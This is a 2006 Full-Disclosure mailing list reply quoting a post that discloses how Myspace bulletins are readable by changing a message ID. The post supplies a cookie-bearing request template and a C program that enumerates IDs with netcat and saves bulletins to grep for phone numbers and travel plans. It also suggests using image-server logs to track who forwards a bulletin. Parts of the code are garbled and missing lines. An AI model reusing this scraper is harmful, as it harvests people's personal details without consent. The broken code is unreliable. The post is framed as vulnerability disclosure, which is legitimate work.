Re: [Full-disclosure] Data Mining Myspace Bulletins

Couldn't you have used sockets? Its just a simple connect()
whats the big deal..Using netcat trusting the env and using system() is baaad :-)

----- Original Message -----
From: "John Hackenger" <stderr@xxxxxxxxxxxxxxxxxxxx>
To: <full-disclosure@xxxxxxxxxxxxxxxxx>
Sent: Saturday, July 01, 2006 12:38 AM
Subject: [Full-disclosure] Data Mining Myspace Bulletins

Myspace Bulletins: The good, the bad, and the ugly

Data Mining Myspace, a case study

Author: stderr (stderr@xxxxxxxxxxxxxxxxxxxx)

Original release:


1. Abstract

We all know about, and I'll go ahead and admit
that I actually have an account to keep up with friends.
Myspace is full of a bunch of idiots, but it can be a great
tool for keeping up with people... when used properly.

Myspace has long been a hacker playground, you may remember
the infamous "Samy is my hero" "worm". The "worm" took advantage
of several poor input validation techniques which were being
employed. Each person that went to a page with his script in it,
automatically sent him a friend request. After this alarming
stunt, Myspace fixed a lot of the injection vulnerabilities.


2. Introduction to Bulletins

On Myspace, you can send "bulletins" which are sent to all
of the friends on your list. That way if you're going on
vacation or something, you can let ALL of your friends know
what's happening by sending only one message. Most people
assume that only their friends can read the bulletins they
post... they are sadly mistaken.

When you open up a bulletin, you go to a url like the following.

Yes, you guessed it. If you change the messageID number,
you can view any bulletin on Myspace that hasn't yet
expired. Now, if we could just collect a ton of bulletins,
then we could surely find some juicy information like
cell phone numbers, when people are leaving for vacation,
where they're going... the list goes on and on.

The implementation of bulletins so that everyone can view them
may be intentional, but most people assume that bulletins are
only readable by friends. Because of this belief, many people
post personal details in bulletins, never expecting people
like you to read them. The mere existence of the "Delete from
friends" button implies that only friends should be able to
read your bulletins.


3. Mining the data

I was able to whip together a small C program that generates
urls, retrieves the bulletin, and saves the html to a file.
Once all of the data has been downloaded, it's easy to parse
through using a tool like grep.

In order for this program to work, you need to download a
tool called 'netcat'. You will also need to get your cookie
once you're logged into myspace, so that you can view the

First of all, let's create a new file named "request.txt"
The contents should look something like this, but you'll need
to change the cookie to match yours.


User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13)
Accept: application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: TIMEZONE=3;
A18%27%7D; MSCOUNTRY=US; FRNDIDxr2g=55555555; rsi_want=0;
D%3D; MSCulture=IP=;


Now that you have the request.txt file all setup, let's go
ahead and compile the C program that will mine the data.



* scan.c -- Myspace bulletin miner *
* Author: stderr (stderr@xxxxxxxxxxxxxxxxxxxx) *
* Usage: ./scan 1164147677 1164147678 *
* The ending ID should be greater than the *
* starting ID, that or you could always *
* reverse the loop in the body of the program. *
* *
* (Note) I'm sure this could be done a lot more *
* elegantly, maybe even with perl or something *
* But... this is just a proof of concept, so.. *
* No hating :) *

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char *name);

int main(int argc, char *argv[])
double id, s_id, e_id;
char x, url[256];
FILE *in_file, *out_file;

if (argc != 3) {

s_id = atoi(argv[1]);
e_id = atoi(argv[2]);

if (s_id >= e_id) {
printf("The ending ID must be greater than the starting ID\n");

for (id = s_id; id < e_id; ++id) {
in_file = fopen("request.txt","r");
out_file = fopen("new_request.txt","w");

/index.cfm? HTTP/1.1\n",id);
while ((x=fgetc(in_file)) != EOF)

printf("Downloading Bulletin #%0.lf ... %0.lf bulletins
left.\r",id, e_id-id);
sprintf(url,"nc -w2 80 < new_request.txt
return 0;

void usage(char *name)
printf("%s <start message id> <ending message id>\n",name);


Now compile the program, and run something like this...

./scan 4264287677 4264287777

(Note) Before running the program, you'll need to make a directory
called "bulletin" so that the program will save the bulletins to
their own directory. If you don't like that setup, then change the

You should now have a bunch of bulletins downloaded, now just grep
through the the "bulletin" directory for the data that you're looking


4. More fun with Bulletins

If you have a Myspace account, you've undoubtedly encountered a lot of spam
bulletins. Another idea to play with bulletins is be to add an image
in the bulletin, and start forwarding it around. The image that's pointed
to should be on a server where you have access to the logs. Once people
start circulating the bulletin, it's possible to see how many times it's
been forwarded by looking at the referrer. To the best of my knowledge
there's no way of getting the name of each person that reads the
bulletin, but you will obviously have the name of each person that
forwards the bulletin.


5. Closing Statements

Whether this is a "flaw" that is going to be closed remains to be seen.
As always, just be careful with the information you're posting on the
internet. You never know who's watching.

Shouts: zipk0der, XPlicit, exvitel, Sonic, and Darcy

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -